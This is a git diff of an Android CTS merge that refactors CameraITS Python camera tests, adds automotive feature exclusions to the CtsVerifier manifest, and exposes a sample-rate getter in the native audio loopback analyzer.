Merge "Revert "Fix the URL in CTS test for Instant App Notification URL."" into rvc-dev
diff --git a/apps/CameraITS/build/scripts/gpylint_rcfile b/apps/CameraITS/build/scripts/gpylint_rcfile
index f92c613..b9c16f4 100644
--- a/apps/CameraITS/build/scripts/gpylint_rcfile
+++ b/apps/CameraITS/build/scripts/gpylint_rcfile
@@ -318,7 +318,7 @@
[MASTER]
-# Add files or directories to the blacklist. They should be base names, not
+# Add files or directories to the ignorelist. They should be base names, not
# paths.
ignore=CVS
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index b4677c7..0a90712 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -64,7 +64,7 @@
patch = 255 * its.cv2image.gray_scale_img(patch)
patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
- # sanity check on image
+ # validity check on image
assert np.max(patch)-np.min(patch) > 255/8
# save full images if in debug
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index dcca509..14e381c 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -1,4 +1,4 @@
-# Copyright 2015 The Android Open Source Project
+# Copyright 2015 The Android Open Source Project (lint as: python2)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -41,6 +41,40 @@
AR_DIFF_ATOL = 0.01
+def print_failed_test_results(failed_ar, failed_fov, failed_crop):
+ """Print failed test results."""
+ if failed_ar:
+ print "\nAspect ratio test summary"
+ print "Images failed in the aspect ratio test:"
+ print "Aspect ratio value: width / height"
+ for fa in failed_ar:
+ print "%s with %s %dx%d: %.3f;" % (
+ fa["fmt_iter"], fa["fmt_cmpr"],
+ fa["w"], fa["h"], fa["ar"]),
+ print "valid range: %.3f ~ %.3f" % (
+ fa["valid_range"][0], fa["valid_range"][1])
+
+ if failed_fov:
+ print "\nFoV test summary"
+ print "Images failed in the FoV test:"
+ for fov in failed_fov:
+ print fov
+
+ if failed_crop:
+ print "\nCrop test summary"
+ print "Images failed in the crop test:"
+ print "Circle center position, (horizontal x vertical), listed",
+ print "below is relative to the image center."
+ for fc in failed_crop:
+ print "%s with %s %dx%d: %.3f x %.3f;" % (
+ fc["fmt_iter"], fc["fmt_cmpr"], fc["w"], fc["h"],
+ fc["ct_hori"], fc["ct_vert"]),
+ print "valid horizontal range: %.3f ~ %.3f;" % (
+ fc["valid_range_h"][0], fc["valid_range_h"][1]),
+ print "valid vertical range: %.3f ~ %.3f" % (
+ fc["valid_range_v"][0], fc["valid_range_v"][1])
+
+
def is_checked_aspect_ratio(first_api_level, w, h):
if first_api_level >= 30:
return True
@@ -182,6 +216,7 @@
Returns:
ref_fov: dict with [fmt, % coverage, w, h, circle_w, circle_h]
+ cc_ct_gt: circle center position relative to the center of image.
"""
ref_fov = {}
fmt = its.objects.get_largest_jpeg_format(props)
@@ -193,8 +228,8 @@
img = its.image.convert_capture_to_rgb_image(cap, props=props)
print "Captured JPEG %dx%d" % (w, h)
img_name = "%s_jpeg_w%d_h%d.png" % (NAME, w, h)
- # Set debug to True to save the debug image
- _, _, circle_size = measure_aspect_ratio(img, img_name, False, debug=True)
+ # Set debug to True to save the reference image
+ _, cc_ct_gt, circle_size = measure_aspect_ratio(img, img_name, False, debug=True)
fov_percent = calc_circle_image_ratio(circle_size[0], circle_size[1], w, h)
ref_fov["fmt"] = "JPEG"
ref_fov["percent"] = fov_percent
@@ -203,7 +238,7 @@
ref_fov["circle_w"] = circle_size[0]
ref_fov["circle_h"] = circle_size[1]
print "Using JPEG reference:", ref_fov
- return ref_fov
+ return ref_fov, cc_ct_gt
def calc_circle_image_ratio(circle_w, circle_h, image_w, image_h):
@@ -284,7 +319,7 @@
# 3. Child"s width > 0.1*Image width
# 4. Child"s height > 0.1*Image height
# 5. 0.25*Parent"s area < Child"s area < 0.45*Parent"s area
- # 6. Child is a black, and Parent is white
+ # 6. Child == 0, and Parent == 255
# 7. Center of Child and center of parent should overlap
if (prt_shape["width"] * 0.56 < child_shape["width"]
< prt_shape["width"] * 0.76
@@ -469,7 +504,11 @@
# as reference frame; otherwise the highest resolution JPEG is used.
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
+ fls_logical = props['android.lens.info.availableFocalLengths']
+ print 'logical available focal lengths: %s', str(fls_logical)
props = cam.override_with_hidden_physical_camera_props(props)
+ fls_physical = props['android.lens.info.availableFocalLengths']
+ print 'physical available focal lengths: %s', str(fls_physical)
# determine skip conditions
first_api = its.device.get_first_api_level(its.device.get_device_id())
if first_api < 30: # original constraint
@@ -491,11 +530,11 @@
cam.do_3a()
req = its.objects.auto_capture_request()
- # If raw capture is available, use it as ground truth.
- if raw_avlb:
+ # If raw is available and main camera, use it as ground truth.
+ if raw_avlb and (fls_physical == fls_logical):
ref_fov, cc_ct_gt, aspect_ratio_gt = find_raw_fov_reference(cam, req, props, debug)
else:
- ref_fov = find_jpeg_fov_reference(cam, req, props)
+ ref_fov, cc_ct_gt = find_jpeg_fov_reference(cam, req, props)
if run_crop_test:
# Normalize the circle size to 1/4 of the image size, so that
@@ -624,47 +663,12 @@
"valid_range_v": thres_range_v_cp})
its.image.write_image(img/255, img_name, True)
- # Print aspect ratio test results
- failed_image_number_for_aspect_ratio_test = len(failed_ar)
- if failed_image_number_for_aspect_ratio_test > 0:
- print "\nAspect ratio test summary"
- print "Images failed in the aspect ratio test:"
- print "Aspect ratio value: width / height"
- for fa in failed_ar:
- print "%s with %s %dx%d: %.3f;" % (
- fa["fmt_iter"], fa["fmt_cmpr"],
- fa["w"], fa["h"], fa["ar"]),
- print "valid range: %.3f ~ %.3f" % (
- fa["valid_range"][0], fa["valid_range"][1])
-
- # Print FoV test results
- failed_image_number_for_fov_test = len(failed_fov)
- if failed_image_number_for_fov_test > 0:
- print "\nFoV test summary"
- print "Images failed in the FoV test:"
- for fov in failed_fov:
- print fov
-
- # Print crop test results
- failed_image_number_for_crop_test = len(failed_crop)
- if failed_image_number_for_crop_test > 0:
- print "\nCrop test summary"
- print "Images failed in the crop test:"
- print "Circle center position, (horizontal x vertical), listed",
- print "below is relative to the image center."
- for fc in failed_crop:
- print "%s with %s %dx%d: %.3f x %.3f;" % (
- fc["fmt_iter"], fc["fmt_cmpr"], fc["w"], fc["h"],
- fc["ct_hori"], fc["ct_vert"]),
- print "valid horizontal range: %.3f ~ %.3f;" % (
- fc["valid_range_h"][0], fc["valid_range_h"][1]),
- print "valid vertical range: %.3f ~ %.3f" % (
- fc["valid_range_v"][0], fc["valid_range_v"][1])
-
- assert failed_image_number_for_aspect_ratio_test == 0
- assert failed_image_number_for_fov_test == 0
+ # Print failed any test results
+ print_failed_test_results(failed_ar, failed_fov, failed_crop)
+ assert not failed_ar
+ assert not failed_fov
if level3_device:
- assert failed_image_number_for_crop_test == 0
+ assert not failed_crop
if __name__ == "__main__":
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 94e5c6b..2d08267 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -26,8 +26,8 @@
import numpy as np
-ALIGN_TOL_MM = 4.0E-3 # mm
-ALIGN_TOL = 0.01 # multiplied by sensor diagonal to convert to pixels
+ALIGN_ATOL_MM = 10E-3 # mm
+ALIGN_RTOL = 0.01 # multiplied by sensor diagonal to convert to pixels
CIRCLE_RTOL = 0.1
GYRO_REFERENCE = 1
LENS_FACING_BACK = 1 # 0: FRONT, 1: BACK, 2: EXTERNAL
@@ -241,7 +241,7 @@
gray: numpy grayscale array with pixel values in [0,255].
name: string of file name.
Returns:
- circle: (circle_center_x, circle_center_y, radius)
+ circle: {'x': val, 'y': val, 'r': val}
"""
size = gray.shape
# otsu threshold to binarize the image
@@ -282,7 +282,7 @@
# 3. Child's width > 0.1*Image width
# 4. Child's height > 0.1*Image height
# 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
- # 6. Child is a black, and Parent is white
+ # 6. Child == 0, and Parent == 255
# 7. Center of Child and center of parent should overlap
if (prt_shape['width'] * 0.56 < child_shape['width']
< prt_shape['width'] * 0.76
@@ -315,7 +315,7 @@
print 'More than one black circle was detected. Background of scene',
print 'may be too complex.\n'
assert num_circle == 1
- return [circle_ctx, circle_cty, (circle_w+circle_h)/4.0]
+ return {'x': circle_ctx, 'y': circle_cty, 'r': (circle_w+circle_h)/4.0}
def define_reference_camera(pose_reference, cam_reference):
@@ -335,6 +335,9 @@
i_2nd = list(cam_reference.keys())[1]
else:
print 'pose_reference is CAMERA'
+ num_ref_cameras = len([v for v in cam_reference.itervalues() if v])
+ e_msg = 'Too many/few reference cameras: %s' % str(cam_reference)
+ assert num_ref_cameras == 1, e_msg
i_ref = (k for (k, v) in cam_reference.iteritems() if v).next()
i_2nd = (k for (k, v) in cam_reference.iteritems() if not v).next()
return i_ref, i_2nd
@@ -357,7 +360,7 @@
world coordinates.
Reproject the world coordinates back to pixel coordinates and compare
- against originals as a sanity check.
+ against originals as a validity check.
Compare the circle sizes if the focal lengths of the cameras are
different using
@@ -378,7 +381,6 @@
its.caps.logical_multi_camera(props) and
its.caps.backward_compatible(props))
debug = its.caps.debug_mode()
- avail_fls = props['android.lens.info.availableFocalLengths']
pose_reference = props['android.lens.poseReference']
# Convert chart_distance for lens facing back
@@ -458,6 +460,7 @@
circle = {}
fl = {}
sensor_diag = {}
+ pixel_sizes = {}
capture_cam_ids = physical_ids
if fmt == 'raw':
capture_cam_ids = physical_raw_ids
@@ -519,7 +522,7 @@
print 't:', t[i]
print 'r:', r[i]
- # Correct lens distortion to image (if available)
+ # Correct lens distortion to RAW image (if available)
if its.caps.distortion_correction(physical_props[i]) and fmt == 'raw':
distort = np.array(physical_props[i]['android.lens.distortion'])
assert len(distort) == 5, 'distortion has wrong # of params.'
@@ -536,26 +539,37 @@
# Find the circles in grayscale image
circle[i] = find_circle(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY),
'%s_%s_gray_%s.jpg' % (NAME, fmt, i))
- print 'Circle radius ', i, ': ', circle[i][2]
+ print 'Circle %s radius: %.3f' % (i, circle[i]['r'])
# Undo zoom to image (if applicable). Assume that the maximum
# physical YUV image size is close to active array size.
if fmt == 'yuv':
- ar = physical_props[i]['android.sensor.info.activeArraySize']
- arw = ar['right'] - ar['left']
- arh = ar['bottom'] - ar['top']
+ yuv_w = caps[(fmt, i)]['width']
+ yuv_h = caps[(fmt, i)]['height']
+ print 'cap size: %d x %d' % (yuv_w, yuv_h)
cr = caps[(fmt, i)]['metadata']['android.scaler.cropRegion']
crw = cr['right'] - cr['left']
crh = cr['bottom'] - cr['top']
# Assume pixels remain square after zoom, so use same zoom
# ratios for x and y.
- zoom_ratio = min(1.0 * arw / crw, 1.0 * arh / crh)
- circle[i][0] = cr['left'] + circle[i][0] / zoom_ratio
- circle[i][1] = cr['top'] + circle[i][1] / zoom_ratio
- circle[i][2] = circle[i][2] / zoom_ratio
+ zoom_ratio = min(1.0 * yuv_w / crw, 1.0 * yuv_h / crh)
+ circle[i]['x'] = cr['left'] + circle[i]['x'] / zoom_ratio
+ circle[i]['y'] = cr['top'] + circle[i]['y'] / zoom_ratio
+ circle[i]['r'] = circle[i]['r'] / zoom_ratio
+ print ' Calculated zoom_ratio:', zoom_ratio
+ print ' Corrected circle X:', circle[i]['x']
+ print ' Corrected circle Y:', circle[i]['y']
+ print ' Corrected circle radius : %.3f' % circle[i]['r']
- # Find focal length & sensor size
+ # Find focal length and pixel & sensor size
fl[i] = physical_props[i]['android.lens.info.availableFocalLengths'][0]
+ ar = physical_props[i]['android.sensor.info.activeArraySize']
+ sensor_size = physical_props[i]['android.sensor.info.physicalSize']
+ pixel_size_w = sensor_size['width'] / (ar['right'] - ar['left'])
+ pixel_size_h = sensor_size['height'] / (ar['bottom'] - ar['top'])
+ print 'pixel size(um): %.2f x %.2f' % (
+ pixel_size_w*1E3, pixel_size_h*1E3)
+ pixel_sizes[i] = (pixel_size_w + pixel_size_h) / 2 * 1E3
sensor_diag[i] = math.sqrt(size[i][0] ** 2 + size[i][1] ** 2)
i_ref, i_2nd = define_reference_camera(pose_reference, cam_reference)
@@ -566,10 +580,10 @@
y_w = {}
for i in [i_ref, i_2nd]:
x_w[i], y_w[i] = convert_to_world_coordinates(
- circle[i][0], circle[i][1], r[i], t[i], k[i],
+ circle[i]['x'], circle[i]['y'], r[i], t[i], k[i],
chart_distance)
- # Back convert to image coordinates for sanity check
+ # Back convert to image coordinates for round-trip check
x_p = {}
y_p = {}
x_p[i_2nd], y_p[i_2nd] = convert_to_image_coordinates(
@@ -582,7 +596,7 @@
# Summarize results
for i in [i_ref, i_2nd]:
print ' Camera: %s' % i
- print ' x, y (pixels): %.1f, %.1f' % (circle[i][0], circle[i][1])
+ print ' x, y (pixels): %.1f, %.1f' % (circle[i]['x'], circle[i]['y'])
print ' x_w, y_w (mm): %.2f, %.2f' % (x_w[i]*1.0E3, y_w[i]*1.0E3)
print ' x_p, y_p (pixels): %.1f, %.1f' % (x_p[i], y_p[i])
@@ -591,31 +605,31 @@
np.array([x_w[i_2nd], y_w[i_2nd]]))
print 'Center location err (mm): %.2f' % (err*1E3)
msg = 'Center locations %s <-> %s too different!' % (i_ref, i_2nd)
- msg += ' val=%.2fmm, THRESH=%.fmm' % (err*1E3, ALIGN_TOL_MM*1E3)
- assert err < ALIGN_TOL, msg
+ msg += ' val=%.2fmm, THRESH=%.fmm' % (err*1E3, ALIGN_ATOL_MM*1E3)
+ assert err < ALIGN_ATOL_MM, msg
# Check projections back into pixel space
for i in [i_ref, i_2nd]:
- err = np.linalg.norm(np.array([circle[i][0], circle[i][1]]) -
+ err = np.linalg.norm(np.array([circle[i]['x'], circle[i]['y']]) -
np.array([x_p[i], y_p[i]]))
- print 'Camera %s projection error (pixels): %.1f' % (i, err)
- tol = ALIGN_TOL * sensor_diag[i]
+ print 'Camera %s projection error (pixels): %.2f' % (i, err)
+ tol = ALIGN_RTOL * sensor_diag[i]
msg = 'Camera %s project locations too different!' % i
msg += ' diff=%.2f, TOL=%.2f' % (err, tol)
assert err < tol, msg
# Check focal length and circle size if more than 1 focal length
- if len(avail_fls) > 1:
+ if len(fl) > 1:
print 'Circle radii (pixels); ref: %.1f, 2nd: %.1f' % (
- circle[i_ref][2], circle[i_2nd][2])
+ circle[i_ref]['r'], circle[i_2nd]['r'])
print 'Focal lengths (diopters); ref: %.2f, 2nd: %.2f' % (
fl[i_ref], fl[i_2nd])
- print 'Sensor diagonals (pixels); ref: %.2f, 2nd: %.2f' % (
- sensor_diag[i_ref], sensor_diag[i_2nd])
+ print 'Pixel size (um); ref: %.2f, 2nd: %.2f' % (
+ pixel_sizes[i_ref], pixel_sizes[i_2nd])
msg = 'Circle size scales improperly! RTOL=%.1f' % CIRCLE_RTOL
- msg += '\nMetric: radius/focal_length*sensor_diag should be equal.'
- assert np.isclose(circle[i_ref][2]/fl[i_ref]*sensor_diag[i_ref],
- circle[i_2nd][2]/fl[i_2nd]*sensor_diag[i_2nd],
+ msg += '\nMetric: radius*pixel_size/focal_length should be equal.'
+ assert np.isclose(circle[i_ref]['r']*pixel_sizes[i_ref]/fl[i_ref],
+ circle[i_2nd]['r']*pixel_sizes[i_2nd]/fl[i_2nd],
rtol=CIRCLE_RTOL), msg
if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 9292f6a3..f1b1d36 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -128,7 +128,7 @@
else:
events, frames, _, h = load_data()
- # Sanity check camera timestamps are enclosed by sensor timestamps
+ # Check that camera timestamps are enclosed by sensor timestamps
# This will catch bugs where camera and gyro timestamps go completely out
# of sync
cam_times = get_cam_times(events["cam"])
diff --git a/apps/CameraITS/tools/DngNoiseModel.pdf b/apps/CameraITS/tools/DngNoiseModel.pdf
index fee9e70..7cbdbd0 100644
--- a/apps/CameraITS/tools/DngNoiseModel.pdf
+++ b/apps/CameraITS/tools/DngNoiseModel.pdf
Binary files differ
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index b6579a8..49f849e 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -30,7 +30,7 @@
import its.image
import rotation_rig as rot
-# For sanity checking the installed APK's target SDK version
+# For checking the installed APK's target SDK version
MIN_SUPPORTED_SDK_VERSION = 28 # P
CHART_DELAY = 1 # seconds
@@ -429,7 +429,7 @@
device_id_arg = "device=" + device_id
print "Testing device " + device_id
- # Sanity check CtsVerifier SDK level
+ # Check CtsVerifier SDK level
# Here we only do warning as there is no guarantee on pm dump output formt not changed
# Also sometimes it's intentional to run mismatched versions
cmd = "adb -s %s shell pm dump com.android.cts.verifier" % (device_id)
@@ -473,7 +473,7 @@
with ItsSession() as cam:
cam.check_its_version_compatible()
- # Sanity Check for devices
+ # Correctness check for devices
device_bfp = its.device.get_device_fingerprint(device_id)
assert device_bfp is not None
@@ -517,10 +517,14 @@
results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
+ # Id combo used to store test results in file system
id_combo_string = id_combo.id
+ # Id string used for testing
+ id_test_string = id_combo.id
has_hidden_sub_camera = id_combo.sub_id is not None
if has_hidden_sub_camera:
- id_combo_string += ":" + id_combo.sub_id
+ id_combo_string += "." + id_combo.sub_id
+ id_test_string += ":" + id_combo.sub_id
scenes = [scene for scene in scenes if HIDDEN_PHYSICAL_CAMERA_TESTS[scene]]
# Loop capturing images until user confirm test scene is correct
camera_id_arg = "camera=" + id_combo.id
@@ -643,7 +647,7 @@
test_code = skip_code
if skip_code is not SKIP_RET_CODE:
cmd = ['python', os.path.join(os.getcwd(), testpath)]
- cmd += one_camera_argv + ["camera="+id_combo_string] + [chart_loc_arg]
+ cmd += one_camera_argv + ["camera="+id_test_string] + [chart_loc_arg]
cmd += [chart_dist_arg]
with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
test_code = run_subprocess_with_timeout(
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b4f58ad..fdb96d4 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -169,6 +169,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_other" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
</activity>
<activity android:name=".forcestop.RecentTaskRemovalTestActivity"
@@ -179,6 +180,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_required_configs" android:value="config_has_recents"/>
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
</activity>
<activity android:name=".companion.CompanionDeviceTestActivity"
@@ -209,7 +211,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
- <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.software.lockscreen_disabled" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.lockscreen_disabled" />
<meta-data android:name="test_required_features"
android:value="android.software.device_admin" />
</activity>
@@ -2209,6 +2211,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity android:name=".camera.intents.CameraIntentsActivity"
@@ -2220,6 +2224,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<service android:name=".camera.intents.CameraContentJobService"
@@ -2235,6 +2241,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity
@@ -2248,16 +2256,22 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity
android:name=".camera.fov.DetermineFovActivity"
android:label="@string/camera_fov_calibration"
android:screenOrientation="landscape"
android:theme="@android:style/Theme.Holo.NoActionBar.Fullscreen" >
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity
android:name=".camera.fov.CalibrationPreferenceActivity"
android:label="@string/camera_fov_label_options" >
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
@@ -2271,6 +2285,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features"
android:value="android.hardware.camera.any"/>
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity android:name=".camera.its.ItsTestActivity"
@@ -2284,6 +2300,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity android:name=".camera.flashlight.CameraFlashlightActivity"
@@ -2295,6 +2313,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.flash" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity android:name=".camera.performance.CameraPerformanceActivity"
@@ -2306,6 +2326,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity android:name=".camera.bokeh.CameraBokehActivity"
@@ -2318,6 +2340,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity android:name=".usb.accessory.UsbAccessoryTestActivity"
@@ -2551,7 +2575,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_tiles" />
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<service android:name=".qstiles.MockTileService"
@@ -3839,8 +3863,8 @@
<!-- ProAudio test invokes the "Loopback" App -->
<activity android:name="org.drrickorang.loopback"/>
- <activity android:name=".audio.AudioLoopbackActivity"
- android:label="@string/audio_loopback_test">
+ <activity android:name=".audio.AudioLoopbackLatencyActivity"
+ android:label="@string/audio_loopback_latency_test">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -4318,6 +4342,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
</activity>
<activity android:name=".instantapps.RecentAppsTestActivity"
android:label="@string/ia_recents">
@@ -4326,6 +4351,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
</activity>
<activity android:name=".instantapps.AppInfoTestActivity"
android:label="@string/ia_app_info">
@@ -4335,7 +4361,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.television:android.software.leanback" />
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
</activity>
<activity android:name=".displaycutout.DisplayCutoutTestActivity"
@@ -4348,4 +4374,8 @@
</activity>
</application>
+ <queries>
+ <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
+ <package android:name="org.opencv.engine" />
+ </queries>
</manifest>
diff --git a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
index d8d6946..8a1c63f 100644
--- a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
+++ b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.cpp
@@ -202,6 +202,10 @@
return mPulseLatencyAnalyzer.getMeasuredConfidence();
}
+int NativeAudioAnalyzer::getSampleRate() {
+ return mOutputSampleRate;
+}
+
aaudio_result_t NativeAudioAnalyzer::openAudio() {
AAudioStreamBuilder *builder = nullptr;
@@ -234,13 +238,13 @@
int32_t outputFramesPerBurst = AAudioStream_getFramesPerBurst(mOutputStream);
(void) AAudioStream_setBufferSizeInFrames(mOutputStream, outputFramesPerBurst * kDefaultOutputSizeBursts);
- int32_t outputSampleRate = AAudioStream_getSampleRate(mOutputStream);
+ mOutputSampleRate = AAudioStream_getSampleRate(mOutputStream);
mActualOutputChannelCount = AAudioStream_getChannelCount(mOutputStream);
// Create the INPUT stream -----------------------
AAudioStreamBuilder_setDirection(builder, AAUDIO_DIRECTION_INPUT);
AAudioStreamBuilder_setFormat(builder, AAUDIO_FORMAT_UNSPECIFIED);
- AAudioStreamBuilder_setSampleRate(builder, outputSampleRate); // must match
+ AAudioStreamBuilder_setSampleRate(builder, mOutputSampleRate); // must match
AAudioStreamBuilder_setChannelCount(builder, 1); // mono
AAudioStreamBuilder_setDataCallback(builder, nullptr, nullptr);
AAudioStreamBuilder_setErrorCallback(builder, nullptr, nullptr);
diff --git a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
index 0d9c64b..3367226 100644
--- a/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
+++ b/apps/CtsVerifier/jni/audio_loopback/NativeAudioAnalyzer.h
@@ -80,6 +80,11 @@
double getLatencyMillis();
/**
+ * @return the sample rate (in Hz) used for the measurement signal
+ */
+ int getSampleRate();
+
+ /**
* The confidence is based on a normalized correlation.
* It ranges from 0.0 to 1.0. Higher is better.
*
@@ -96,6 +101,7 @@
aaudio_format_t mActualInputFormat = AAUDIO_FORMAT_INVALID;
int16_t *mInputShortData = nullptr;
float *mInputFloatData = nullptr;
+ int32_t mOutputSampleRate = 0;
aaudio_result_t mInputError = AAUDIO_OK;
aaudio_result_t mOutputError = AAUDIO_OK;
diff --git a/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp b/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
index a851cbe..58908bd 100644
--- a/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
+++ b/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
@@ -113,4 +113,13 @@
return 0.0;
}
+JNIEXPORT jint JNICALL Java_com_android_cts_verifier_audio_NativeAnalyzerThread_getSampleRate
+ (JNIEnv *env __unused, jobject obj __unused, jlong pAnalyzer) {
+ NativeAudioAnalyzer * analyzer = (NativeAudioAnalyzer *) pAnalyzer;
+ if (analyzer != nullptr) {
+ return analyzer->getSampleRate();
+ }
+ return 0;
+}
+
}
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
index a0a715f..a991a15 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
@@ -38,8 +38,8 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
- android:id="@+id/frequency_mic_layout_test_noise"
- >
+ android:id="@+id/frequency_mic_layout_test_noise">
+
<View
android:layout_width="match_parent"
android:layout_height="1dp"
@@ -60,7 +60,8 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
- android:layout_weight="2">
+ android:layout_weight="2"
+ android:id="@+id/frequency_mic_layout_test_noise_dut_buttons">
<Button
android:layout_width="wrap_content"
@@ -84,7 +85,8 @@
android:layout_width="0dp"
android:layout_height="wrap_content"
android:orientation="vertical"
- android:layout_weight="1">
+ android:layout_weight="1"
+ android:id="@+id/frequency_mic_layout_test_noise_src_buttons">
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
@@ -93,7 +95,7 @@
android:id="@+id/frequency_mic_play_noise_btn" />
</LinearLayout>
</LinearLayout>
- <TextView
+ <TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
